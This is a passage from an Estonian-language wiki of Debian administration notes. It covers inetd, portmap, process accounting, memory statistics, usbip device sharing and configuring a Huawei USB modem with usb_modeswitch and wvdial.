   print $vastus;&lt;br /&gt;
   last;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
ning kasutades /etc/inetd.conf seadisusfailis rida&lt;br /&gt;
&lt;br /&gt;
 43 stream tcp nowait nobody /srv/data/nfsen/libexec/whois.pl whois.pl&lt;br /&gt;
&lt;br /&gt;
whois päringute esitamise kontrollimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ whois -h 127.0.0.1 127.0.0.1&lt;br /&gt;
 .. &lt;br /&gt;
 NetRange:       127.0.0.0 - 127.255.255.255&lt;br /&gt;
 CIDR:           127.0.0.0/8&lt;br /&gt;
 OriginAS:       &lt;br /&gt;
 NetName:        SPECIAL-IPV4-LOOPBACK-IANA-RESERVED&lt;br /&gt;
 NetHandle:      NET-127-0-0-0-1&lt;br /&gt;
 Parent:         &lt;br /&gt;
 NetType:        IANA Special Use&lt;br /&gt;
&lt;br /&gt;
Kasutaja peab ise otsustama, kas talle selline lahendus sobib.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
http://www.telecom.otago.ac.nz/tele301/student_html/inetd-tcpwrappers.html&lt;br /&gt;
&lt;br /&gt;
===RPC portmapper===&lt;br /&gt;
&lt;br /&gt;
Debain Squeeze paketihaldusest saab valida erinevaid RPC portmap lahendusi, portmap paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install portmap&lt;br /&gt;
&lt;br /&gt;
Arvutis töötavate RPC teenuste nimekirja küsimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # rpcinfo -p hostname&lt;br /&gt;
&lt;br /&gt;
Tundub, et rpcbind toetab erinevalt portmap tarkvarast IPv6 protokolli.&lt;br /&gt;
&lt;br /&gt;
===Netlink socket===&lt;br /&gt;
&lt;br /&gt;
ip programm suhtleb tuumaga kasutades netlink socket'it, mis praktiliselt tähendab nt seda, et ip programmi saab kasutada chroot keskkonnast, kus pole /proc failisüsteemi külge monteeritud (erinevalt ifconfig programmist, mis kasutab /proc failisüsteemi).&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://en.wikipedia.org/wiki/Netlink&lt;br /&gt;
* http://www.linuxjournal.com/article/7356?page=0,0&lt;br /&gt;
&lt;br /&gt;
===Process accounting===&lt;br /&gt;
&lt;br /&gt;
Operatsioonisüsteemi Debian Squeeze vaikimisi tuum võimaldab koguda process accountiga andmeid. Seda sobib teha nt acct paketi tarkvara abil, paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install acct&lt;br /&gt;
&lt;br /&gt;
Tulemusena paigaldatakse muu hulgas sellised failid&lt;br /&gt;
&lt;br /&gt;
* /usr/bin/lastcomm&lt;br /&gt;
* /usr/bin/ac&lt;br /&gt;
* /usr/sbin/accton&lt;br /&gt;
* /usr/sbin/sa&lt;br /&gt;
* /usr/sbin/dump-utmp&lt;br /&gt;
* /usr/sbin/dump-acct&lt;br /&gt;
* /etc/cron.daily/acct&lt;br /&gt;
* /etc/init.d/acct&lt;br /&gt;
* /etc/default/acct&lt;br /&gt;
* /etc/cron.monthly/acct&lt;br /&gt;
&lt;br /&gt;
Selleks, et arvutis töötavate protsesside kohta andmed kogunema hakkaksid, vaikimisi faili /var/log/account/pacct, tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # accton on | off&lt;br /&gt;
&lt;br /&gt;
Kogutud andmete esitamine toimub selliselt&lt;br /&gt;
&lt;br /&gt;
 # dump-acct /var/log/account/pacct | tail -n 5&lt;br /&gt;
 tail            |v3|     0.00|     0.00|     0.00|     0|     0|  4088.00|     0.00|   19856    19253|Mon Sep 19 20:34:56 2011&lt;br /&gt;
 cron            |v3|     0.00|     0.00|     1.00|     0|     0| 18832.00|     0.00|   19857     1138|Mon Sep 19 20:35:01 2011&lt;br /&gt;
 ssh             |v3|     0.00|     1.00|    75.00|     0|     0| 43192.00|     0.00|   19860    19633|Mon Sep 19 20:35:06 2011&lt;br /&gt;
 postgres        |v3|     0.00|     0.00|     2.00|   109|   113| 94272.00|     0.00|   19863     1395|Mon Sep 19 20:35:09 2011&lt;br /&gt;
 telnet          |v3|     0.00|     0.00|     3.00|  1000|  1000| 22680.00|     0.00|   19870    19865|Mon Sep 19 20:35:19 2011&lt;br /&gt;
&lt;br /&gt;
kus kuuendas tulbas on protsessi UID väärtus.&lt;br /&gt;
&lt;br /&gt;
===Passwords and encryption keys (Seahorse)===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Mälu kasutamine===&lt;br /&gt;
&lt;br /&gt;
Arvuti mälu kasutamise kohta saab küsida selliselt&lt;br /&gt;
&lt;br /&gt;
 # free&lt;br /&gt;
              total       used       free     shared    buffers     cached&lt;br /&gt;
 Mem:        509172     501192       7980          0       3784     200248&lt;br /&gt;
 -/+ buffers/cache:     297160     212012&lt;br /&gt;
 Swap:      1048568      92568     956000&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* total (509172) - kogu RAM (miinus natuke kerneli tarvis)&lt;br /&gt;
* used (501192) - kokku kasutusel&lt;br /&gt;
* free (7980) - kokku vaba&lt;br /&gt;
* buffers (3784) - kasutusel mälust on nii palju kasutusel buffers all&lt;br /&gt;
* cached (200248) - kasutusel mälust on nii palju kasutusel failisüsteemi cache'ina&lt;br /&gt;
* teisel real on toodud arvutatud used ja free, mis vastavad sellele, kui buffers + cached oleks vastavalt maha lahutatud või juurde liidetud; selline vaade on õigustatud, kuna Linux tuum vajadusel kasutab failisüsteemi cache'iks olevat mälu ressurssi muuks tarbeks&lt;br /&gt;
&lt;br /&gt;
 297160 = 501192 - 3784 - 200248&lt;br /&gt;
 212012 = 7980 + 3784 + 200248&lt;br /&gt;
&lt;br /&gt;
st kasutatud mälu on tegelikult vähem kui näib ja vaba mälu on vastavalt samapalju rohkem kui näib.&lt;br /&gt;
&lt;br /&gt;
====Jõudlus====&lt;br /&gt;
&lt;br /&gt;
Arvuteid on valmistatud kasutes erinevaid tehnoloogiaid ja lisaks muudele erinevustele erinevad nad ka mälu kasutamise kiiruse poolest. Üks võimalus mälu kasutamise jõudlust hinnata nö sünteetilise testiga (st spetsiaalselt selleks tarbeks valmistatud programmo abil), nt&lt;br /&gt;
&lt;br /&gt;
* http://www.cs.virginia.edu/stream/&lt;br /&gt;
* https://github.com/gregs1104/stream-scaling&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks tuleb viimaselt lingilt kopeerida tar.gz fail, pakkida arhiiv lahti ning öelda&lt;br /&gt;
&lt;br /&gt;
 $ ./stream-scaling&lt;br /&gt;
&lt;br /&gt;
Tulemusena kompileeritakse programm, seejärel käivitatakse ning väljastatakse tulemus, nt&lt;br /&gt;
&lt;br /&gt;
 $ ./stream-scaling &lt;br /&gt;
 === CPU cache information ===&lt;br /&gt;
 CPU /sys/devices/system/cpu/cpu0 Level 1 Cache: 32K (Data)&lt;br /&gt;
 CPU /sys/devices/system/cpu/cpu0 Level 1 Cache: 32K (Instruction)&lt;br /&gt;
 CPU /sys/devices/system/cpu/cpu0 Level 2 Cache: 6144K (Unified)&lt;br /&gt;
 ... &lt;br /&gt;
 Total CPU system cache: 25296896 bytes&lt;br /&gt;
 Suggested minimum array elements needed: 11498589&lt;br /&gt;
 Array elements used: 11498589 &lt;br /&gt;
 &lt;br /&gt;
 === CPU Core Summary ===&lt;br /&gt;
 processor       : 3&lt;br /&gt;
 model name      : Intel(R) Core(TM)2 Quad  CPU   Q9550  @ 2.83GHz&lt;br /&gt;
 cpu MHz         : 1998.000&lt;br /&gt;
 siblings        : 4&lt;br /&gt;
 &lt;br /&gt;
 === Testing up to 4 cores ===&lt;br /&gt;
 ...&lt;br /&gt;
 -------------------------------------------------------------&lt;br /&gt;
 Function      Rate (MB/s)   Avg time     Min time     Max time&lt;br /&gt;
 Copy:        4101.0477       0.0453       0.0449       0.0456&lt;br /&gt;
 Scale:       4121.7264       0.0451       0.0446       0.0458&lt;br /&gt;
 Add:         4982.5056       0.0557       0.0554       0.0560&lt;br /&gt;
 Triad:       5001.9268       0.0556       0.0552       0.0561&lt;br /&gt;
 -------------------------------------------------------------&lt;br /&gt;
 Solution Validates&lt;br /&gt;
 -------------------------------------------------------------&lt;br /&gt;
 &lt;br /&gt;
 Number of Threads requested = 2&lt;br /&gt;
 Function      Rate (MB/s)   Avg time     Min time     Max time&lt;br /&gt;
 Triad:       5002.6618       0.0566       0.0552       0.0610 &lt;br /&gt;
 &lt;br /&gt;
 Number of Threads requested = 3&lt;br /&gt;
 Function      Rate (MB/s)   Avg time     Min time     Max time&lt;br /&gt;
 Triad:       4892.7425       0.0577       0.0564       0.0607&lt;br /&gt;
 &lt;br /&gt;
 Number of Threads requested = 4&lt;br /&gt;
 Function      Rate (MB/s)   Avg time     Min time     Max time&lt;br /&gt;
 Triad:       4784.1065       0.0582       0.0577       0.0589&lt;br /&gt;
&lt;br /&gt;
Mälu jõudlust on eriti mõtet hinnata selleks, et võrrelda olemasolevat süsteemi uuega, millega olemasolev kavatsetakse asendada.&lt;br /&gt;
&lt;br /&gt;
===Ressursikasutuse haldamine===&lt;br /&gt;
&lt;br /&gt;
* IO&lt;br /&gt;
&lt;br /&gt;
 # ionice -c 3 -p 1919&lt;br /&gt;
&lt;br /&gt;
* CPU&lt;br /&gt;
&lt;br /&gt;
 # renice ...&lt;br /&gt;
&lt;br /&gt;
===Protsesside haldamine===&lt;br /&gt;
&lt;br /&gt;
Kasutaja postgres protsesside nimekirja nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 # ps -a -f -u postgres&lt;br /&gt;
&lt;br /&gt;
Kasutaja postgres protsesside ja vastavate lõimede nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 # ps -aLf -u postgres&lt;br /&gt;
&lt;br /&gt;
====Protsesside grupp====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ps -efj | less&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===pdftk kasutamine===&lt;br /&gt;
&lt;br /&gt;
pdftk http://www.pdflabs.com/docs/install-pdftk/ paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdftk&lt;br /&gt;
&lt;br /&gt;
===tvtime kasutamine===&lt;br /&gt;
&lt;br /&gt;
 # apt-get install tvtime&lt;br /&gt;
&lt;br /&gt;
ning näidata&lt;br /&gt;
&lt;br /&gt;
 Please choose the TV standard to use -&amp;gt; PAL&lt;br /&gt;
 Please choose the frequency table to use -&amp;gt; Custom (must run tvtime-scanner first)&lt;br /&gt;
 Please choose the video4linux device which corresponds to your capture card -&amp;gt; /dev/video0&lt;br /&gt;
 Please choose the device that will be used in NTSC areas for decoding closed captions and XDS channel information; Device to use for VBI decoding -&amp;gt; /dev/vbi0&lt;br /&gt;
 Please choose whether tvtime should be &amp;quot;setuid root&amp;quot;, therefore getting root privileges when running -&amp;gt; No&lt;br /&gt;
&lt;br /&gt;
Esmalt tuleb laadida TV kaardile vastav draiver, nt selliselt&lt;br /&gt;
&lt;br /&gt;
 # rmmod saa7134&lt;br /&gt;
 # modprobe saa7134 card=21 tuner=26&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* card sobiv valik tagab pildi&lt;br /&gt;
* tuner sobiv valik tagab heli&lt;br /&gt;
&lt;br /&gt;
Seejärel skaneerida kanalid&lt;br /&gt;
&lt;br /&gt;
 $ tvtime-scanner &lt;br /&gt;
 Reading configuration from /etc/tvtime/tvtime.xml&lt;br /&gt;
 Scanning using TV standard PAL.&lt;br /&gt;
 Scanning from  44.00 MHz to 958.00 MHz.&lt;br /&gt;
 Found a channel at 607.00 MHz (605.50 - 608.25 MHz), adding to channel list.&lt;br /&gt;
 I/O warning : failed to load external entity &amp;quot;/home/imre/.tvtime/stationlist.xml&amp;quot;&lt;br /&gt;
 station: No station file found, creating a new one.&lt;br /&gt;
&lt;br /&gt;
ning käivitada tvtime programm&lt;br /&gt;
&lt;br /&gt;
 # tvtime&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://sites.google.com/site/jobinau2/saa7130basedtvtunercardunderlinux&lt;br /&gt;
&lt;br /&gt;
===PAM===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine pam_unix abil====&lt;br /&gt;
&lt;br /&gt;
/etc/shadow failis on üldiselt toetatud sellised räsid&lt;br /&gt;
&lt;br /&gt;
* $1$ - MD5&lt;br /&gt;
* $2a$ - blowfish&lt;br /&gt;
* $5$ - SHA-256&lt;br /&gt;
* $6$ - SHA-512&lt;br /&gt;
&lt;br /&gt;
Kui osutab, et /etc/shadow ei tööta, st nt peale süsteemi uuendamist kasutaja sisestab õige parooli kuid ei saa sisse logida, siis tõenäoliselt ei sobi kokku /etc/pam.d/* seadistusfailid /etc/shadow sisuga.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://digitalconsumption.com/forum/615-Blowfish-shadow-files-on-Debian&lt;br /&gt;
&lt;br /&gt;
===Gnome-shell===&lt;br /&gt;
&lt;br /&gt;
Gnome shell http://en.wikipedia.org/wiki/GNOME_Shell on ... ja kasutamine eeldab&lt;br /&gt;
&lt;br /&gt;
* 3D toega videokaardi olemasolu, kusjuures kaart peab nö sobima (nt Radeon HD 3600 fglrx draiveriga annab vigu nö olulises kohas, GeForce 7600 GS nouveau draiveriga sobib)&lt;br /&gt;
&lt;br /&gt;
Olulised asjad&lt;br /&gt;
&lt;br /&gt;
* extensions&lt;br /&gt;
* gnome-tweak-tool&lt;br /&gt;
&lt;br /&gt;
===USB over IP===&lt;br /&gt;
&lt;br /&gt;
USB over IP tarkvara http://usbip.sourceforge.net/ abil saab teha ühe arvuti füüsilised USB seadme üle võrgu kasutatavaks teisest avutist.&lt;br /&gt;
&lt;br /&gt;
Praktiliselt voib olla hada sellest, et user space ja kernel space tarkvara ei sobi kokku. Nt tundub, et Ubuntu (sh v. 14.04) paketihalduses on usbip v. 0.7, aga tuumas talle vajalikke mooduleid pole. Teine variant on, et kasutada saab usbip v. 1.1, millega tuuma moodulid naikse paremini kokku sobivat. Debian Jessie sisaldab 2014 aasta suvel v. 1.1 tarvkara ja see paistab töötavat.&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Tarkvara paigaldamine====&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigladamiseks sobib mõlemas arvuti öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install usbip&lt;br /&gt;
&lt;br /&gt;
Paigaldamise tulemusena tekib failisysteemi muu hulgas&lt;br /&gt;
&lt;br /&gt;
* usbip - utiliit serveri seadistamiseks ja kliendi juhtimiseks&lt;br /&gt;
* usbipd - serveri poolel tootav deemon&lt;br /&gt;
&lt;br /&gt;
====Serveri poole ettevalmistamine ja käivitamine====&lt;br /&gt;
&lt;br /&gt;
Laadida moodulid&lt;br /&gt;
&lt;br /&gt;
 server:~# modprobe usbip_core&lt;br /&gt;
 server:~# modprobe usbip_host&lt;br /&gt;
&lt;br /&gt;
Käivitada usbipd deemon, kuulab vaikimisi 3240/tcp pordil&lt;br /&gt;
&lt;br /&gt;
 server:~# usbipd&lt;br /&gt;
&lt;br /&gt;
USB seadmete serveris olevate USB seadmete nimekirja esitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 server:~# usbip list --local&lt;br /&gt;
 Local USB devices&lt;br /&gt;
 =================&lt;br /&gt;
 - busid 1-1 (8087:0024)&lt;br /&gt;
   Intel Corp. : Integrated Rate Matching Hub (8087:0024)&lt;br /&gt;
         1-1:1.0 -&amp;gt; hub&lt;br /&gt;
 &lt;br /&gt;
 - busid 1-1.2 (0781:5530)&lt;br /&gt;
   SanDisk Corp. : Cruzer (0781:5530)&lt;br /&gt;
         1-1.2:1.0 -&amp;gt; usb-storage&lt;br /&gt;
 &lt;br /&gt;
 - busid 1-1.4 (0424:2514)&lt;br /&gt;
   Standard Microsystems Corp. : USB 2.0 Hub (0424:2514)&lt;br /&gt;
         1-1.4:1.0 -&amp;gt; hub&lt;br /&gt;
 &lt;br /&gt;
 - busid 1-1.4.3 (046d:c31d)&lt;br /&gt;
   Logitech, Inc. : Media Keyboard K200 (046d:c31d)&lt;br /&gt;
         1-1.4.3:1.0 -&amp;gt; usbhid&lt;br /&gt;
         1-1.4.3:1.1 -&amp;gt; usbhid&lt;br /&gt;
 &lt;br /&gt;
 - busid 1-1.4.4 (046d:c05a)&lt;br /&gt;
   Logitech, Inc. : M90/M100 Optical Mouse (046d:c05a)&lt;br /&gt;
         1-1.4.4:1.0 -&amp;gt; usbhid&lt;br /&gt;
 &lt;br /&gt;
 - busid 1-1.5 (04e6:e001)&lt;br /&gt;
   SCM Microsystems, Inc. : SCR331 SmartCard Reader (04e6:e001)&lt;br /&gt;
         1-1.5:1.0 -&amp;gt; usbfs&lt;br /&gt;
&lt;br /&gt;
Seadme eksportimiseks sobib oelda, nt Cruizer USB pulk jaoks&lt;br /&gt;
&lt;br /&gt;
 server:~# usbip bind -b 1-1.2&lt;br /&gt;
 bind device on busid 1-1.2: complete&lt;br /&gt;
&lt;br /&gt;
Tulemusena on --list väljundis vastav seade&lt;br /&gt;
&lt;br /&gt;
  - busid 1-1.2 (0781:5530)&lt;br /&gt;
    SanDisk Corp. : Cruzer (0781:5530)&lt;br /&gt;
          1-1.2:1.0 -&amp;gt; usbip-host&lt;br /&gt;
&lt;br /&gt;
====Kliendi poole ettevalmistamine ja käivitamine====&lt;br /&gt;
&lt;br /&gt;
Laadida moodul&lt;br /&gt;
&lt;br /&gt;
 klient:~# modprobe vhci_hcd&lt;br /&gt;
&lt;br /&gt;
Eksporditud seadmete nimekirja küsimiseks sobib öelda kliendi arvutis&lt;br /&gt;
&lt;br /&gt;
 klient:~# usbip list -r 192.168.10.10&lt;br /&gt;
 Exportable USB devices&lt;br /&gt;
 ======================&lt;br /&gt;
 - 192.168.10.10&lt;br /&gt;
      1-1.2: SanDisk Corp. : Cruzer (0781:5530)&lt;br /&gt;
           : /sys/devices/pci0000:00/0000:00:07.0/usb1/1-1/1-1.2&lt;br /&gt;
           : (Defined at Interface level) (00/00/00)&lt;br /&gt;
           :  0 - Mass Storage / SCSI / Bulk-Only (08/06/50)&lt;br /&gt;
&lt;br /&gt;
Seadme kasutamiseks&lt;br /&gt;
&lt;br /&gt;
 klient:~# usbip attach -r 192.168.10.10 -b 1-1.2&lt;br /&gt;
&lt;br /&gt;
Seejärel on seade paistab nagu kohalik seade ja on valmis kasutamiseks, nt&lt;br /&gt;
&lt;br /&gt;
 klient:~# lsusb &lt;br /&gt;
 Bus 009 Device 004: ID 0781:5530 SanDisk Corp. Cruzer&lt;br /&gt;
 ..&lt;br /&gt;
&lt;br /&gt;
ja usbip spetsiifilisemalt&lt;br /&gt;
&lt;br /&gt;
 klient:~# usbip port&lt;br /&gt;
 Imported USB devices&lt;br /&gt;
 ====================&lt;br /&gt;
 Port 00: &amp;lt;Port in Use&amp;gt; at High Speed(480Mbps)&lt;br /&gt;
       unknown vendor : unknown product (0781:5530)&lt;br /&gt;
       9-1 -&amp;gt; usbip://192.168.10.10:3240/1-1.2&lt;br /&gt;
           -&amp;gt; remote bus/dev 001/037&lt;br /&gt;
&lt;br /&gt;
Kasutamise lõpetamiseks sobib öelda kasutades vhci_hcd pordi numbrit&lt;br /&gt;
&lt;br /&gt;
 klient:~# usbip detach --port=0&lt;br /&gt;
&lt;br /&gt;
====Serveri poolel kasutamise lõpetamine====&lt;br /&gt;
&lt;br /&gt;
Peale seda kui kliendi pool on seadme kasutamine lõpetatud, öelda&lt;br /&gt;
&lt;br /&gt;
 server:~# usbip unbind -b 1-1.2&lt;br /&gt;
 unbind device on busid 1-1.2: complete&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* http://www.howtoforge.com/how-to-set-up-a-usb-over-ip-server-and-client-with-debian-lenny&lt;br /&gt;
* https://www.kernel.org/doc/readme/drivers-staging-usbip-userspace-README&lt;br /&gt;
&lt;br /&gt;
===Töötamine failisüsteemiga===&lt;br /&gt;
&lt;br /&gt;
Tavaliselt on häda miinus märgiga failidega töötamisel, -- võtme kasutamine aitab, nt '-failinimi' nimelise faili kustutamisel&lt;br /&gt;
&lt;br /&gt;
 $ rm -- -failinimi&lt;br /&gt;
&lt;br /&gt;
===USB netipulga kasutamine===&lt;br /&gt;
&lt;br /&gt;
USB netipulga kasutamine koosneb kahest osast&lt;br /&gt;
&lt;br /&gt;
* arvutis peavad olema /dev/ttyUSB* nimelised usb serial seadmed&lt;br /&gt;
* ppp ühenduse loomiseks tuleb kasutada sobivat programmi, wvdial, Gnome desktopilt midagi vms&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Kui netipulk ei tööta automaatselt, siis võib olla probleem selles, et süsteem tunneb ta ära storage seadmena ja mitte võrguseadmena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[11360165.312014] usb 1-4: new high-speed USB device number 10 using ehci-pci&lt;br /&gt;
[11360165.458578] usb 1-4: New USB device found, idVendor=12d1, idProduct=1505&lt;br /&gt;
[11360165.458734] usb 1-4: New USB device strings: Mfr=3, Product=2, SerialNumber=0&lt;br /&gt;
[11360165.458900] usb 1-4: Product: HUAWEI Mobile&lt;br /&gt;
[11360165.459001] usb 1-4: Manufacturer: Huawei Technologies&lt;br /&gt;
[11360165.460790] usb-storage 1-4:1.0: USB Mass Storage device detected&lt;br /&gt;
[11360165.461082] scsi10 : usb-storage 1-4:1.0&lt;br /&gt;
[11360166.461381] scsi 10:0:0:0: CD-ROM            HUAWEI   Mass Storage     2.31 PQ: 0 ANSI: 0&lt;br /&gt;
[11360166.478285] sr1: scsi-1 drive&lt;br /&gt;
[11360166.478582] sr 10:0:0:0: Attached scsi CD-ROM sr1&lt;br /&gt;
[11360166.478694] sr 10:0:0:0: Attached scsi generic sg5 type 5&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
usb-modeswitch paketi tarkvara teeb temast võrguseadme.&lt;br /&gt;
&lt;br /&gt;
====/dev/ttyUSB* seadmete tekitamine====&lt;br /&gt;
&lt;br /&gt;
E392 kirjaga netipulk paistab faili usb.ids tõttu&lt;br /&gt;
&lt;br /&gt;
 # grep 1505 /var/lib/usbutils/usb.ids&lt;br /&gt;
        1505  E398 LTE/UMTS/GSM Modem/Networkcard&lt;br /&gt;
&lt;br /&gt;
lsusb väljundis E398&lt;br /&gt;
&lt;br /&gt;
 Bus 001 Device 041: ID 12d1:1505 Huawei Technologies Co., Ltd. E398 LTE/UMTS/GSM Modem/Networkcard&lt;br /&gt;
&lt;br /&gt;
Kusjuures /dev kataloogis pole usb serialile vastavaid faili, st /dev/ttyUSB* nimelisi.&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks sobib tekitada fail&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/usb_modeswitch.d/12d1\:1505 &lt;br /&gt;
 # Huawei E392&lt;br /&gt;
 &lt;br /&gt;
 DefaultVendor=  0x12d1&lt;br /&gt;
 DefaultProduct= 0x1505&lt;br /&gt;
 &lt;br /&gt;
 TargetVendor=  0x12d1&lt;br /&gt;
 TargetProductList=0x1506&lt;br /&gt;
 &lt;br /&gt;
 MessageContent=&amp;quot;55534243123456780000000000000011062000000100000000000000000000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ning lisada faili /lib/udev/rules.d/40-usb_modeswitch.rules lõpupoole rida&lt;br /&gt;
&lt;br /&gt;
 # Huawei E392&lt;br /&gt;
 ATTRS{idVendor}==&amp;quot;12d1&amp;quot;, ATTRS{idProduct}==&amp;quot;1505&amp;quot;, RUN+=&amp;quot;usb_modeswitch '%b/%k'&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Seejärel võtta pulk usb pesast välja ja uuesti sisse panna, lsusb väljundis peaks nüüd olema, 1506 -&amp;gt; 1505 muutunud&lt;br /&gt;
&lt;br /&gt;
 Bus 001 Device 043: ID 12d1:1506 Huawei Technologies Co., Ltd. E398 LTE/UMTS/GSM Modem/Networkcard&lt;br /&gt;
&lt;br /&gt;
ning lisaks tekkinud seadmed&lt;br /&gt;
&lt;br /&gt;
 # ls -ld /dev/ttyUSB*&lt;br /&gt;
 crw-rw---- 1 root dialout 188, 0 Dec 20 01:27 /dev/ttyUSB0&lt;br /&gt;
 crw-rw---- 1 root dialout 188, 1 Dec 20 01:16 /dev/ttyUSB1&lt;br /&gt;
 crw-rw---- 1 root dialout 188, 2 Dec 20 01:16 /dev/ttyUSB2&lt;br /&gt;
&lt;br /&gt;
Tundub, et kui systemd millegipärast ei taha käivitada sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # /usr/sbin/usb_modeswitch --default-vendor 0x12d1 --default-product 0x1505 -J&lt;br /&gt;
&lt;br /&gt;
====wvdial kasutamine====&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/wvdial.conf &lt;br /&gt;
 [Dialer Defaults]&lt;br /&gt;
 Phone = &lt;br /&gt;
 Username = &lt;br /&gt;
 Password = &lt;br /&gt;
 New PPPD = yes&lt;br /&gt;
 &lt;br /&gt;
 Modem Type = Analog Modem&lt;br /&gt;
 Phone = *99#&lt;br /&gt;
 ISDN = 0&lt;br /&gt;
 Baud = 460800&lt;br /&gt;
 Username = &amp;quot; &amp;quot;&lt;br /&gt;
 Password = &amp;quot; &amp;quot;&lt;br /&gt;
 Modem = /dev/ttyUSB0&lt;br /&gt;
 Init1 = ATZ&lt;br /&gt;
 Init2 = at+cgdcont=1,&amp;quot;ip&amp;quot;,&amp;quot;internet.emt.ee&amp;quot;&lt;br /&gt;
 Stupid Mode = 1&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
käivitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # wvdial&lt;br /&gt;
 --&amp;gt; WvDial: Internet dialer version 1.61&lt;br /&gt;
 --&amp;gt; Initializing modem.&lt;br /&gt;
 --&amp;gt; Sending: ATZ&lt;br /&gt;
 ATZ&lt;br /&gt;
 OK&lt;br /&gt;
 --&amp;gt; Sending: at+cgdcont=1,&amp;quot;ip&amp;quot;,&amp;quot;internet.emt.ee&amp;quot;&lt;br /&gt;
 at+cgdcont=1,&amp;quot;ip&amp;quot;,&amp;quot;internet.emt.ee&amp;quot;&lt;br /&gt;
 OK&lt;br /&gt;
 --&amp;gt; Modem initialized.&lt;br /&gt;
 --&amp;gt; Sending: ATDT*99#&lt;br /&gt;
 --&amp;gt; Waiting for carrier.&lt;br /&gt;
 ATDT*99#&lt;br /&gt;
 CONNECT&lt;br /&gt;
 --&amp;gt; Carrier detected.  Starting PPP immediately.&lt;br /&gt;
 --&amp;gt; Starting pppd at Fri Dec 20 01:35:25 2013&lt;br /&gt;
 --&amp;gt; Pid of pppd: 17139&lt;br /&gt;
 --&amp;gt; Using interface ppp0&lt;br /&gt;
 --&amp;gt; local  IP address 10.128.53.223&lt;br /&gt;
 --&amp;gt; remote IP address 10.64.64.64&lt;br /&gt;
 --&amp;gt; primary   DNS address 217.71.33.151&lt;br /&gt;
 --&amp;gt; secondary DNS address 217.71.33.150&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekib ppp0 seade üle mille saab liiklust ruutida (teiste arvutite liiklust tuleb src nat'tida)&lt;br /&gt;
&lt;br /&gt;
 # ifconfig ppp0&lt;br /&gt;
 ppp0      Link encap:Point-to-Point Protocol  &lt;br /&gt;
           inet addr:10.128.77.124  P-t-P:10.64.64.64  Mask:255.255.255.255&lt;br /&gt;
           UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1500  Metric:1&lt;br /&gt;
           RX packets:7 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
           TX packets:8 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
           collisions:0 txqueuelen:3 &lt;br /&gt;
           RX bytes:70 (70.0 B)  TX bytes:157 (157.0 B)&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* http://trisquel.info/en/forum/install-huawei-e392-usb-lte-drivers&lt;br /&gt;
* http://www.draisberghof.de/usb_modeswitch/bb/viewtopic.php?t=681&lt;br /&gt;
* http://blog.bluedrive.ro/?p=28&lt;br /&gt;
* http://www.draisberghof.de/usb_modeswitch/&lt;br /&gt;
* https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/889878&lt;br /&gt;
* http://importgeek.wordpress.com/tag/12d11505/&lt;br /&gt;
* http://www.draisberghof.de/usb_modeswitch/bb/&lt;br /&gt;
* http://oliver.tele2.ee/kuidas-huawei-e1752-ja-ubuntu-10-04-kasikaes-internetti-lahevad/&lt;br /&gt;
* http://www.draisberghof.de/usb_modeswitch/bb/viewtopic.php?f=4&amp;amp;t=891&amp;amp;p=5898&amp;amp;hilit=12d1%3A1505#p5898&lt;br /&gt;
&lt;br /&gt;
===zip arhivaatori kasutamine===&lt;br /&gt;
&lt;br /&gt;
Parooliga kaitstud arhiivi moodustamiseks sobib öelda nt&lt;br /&gt;
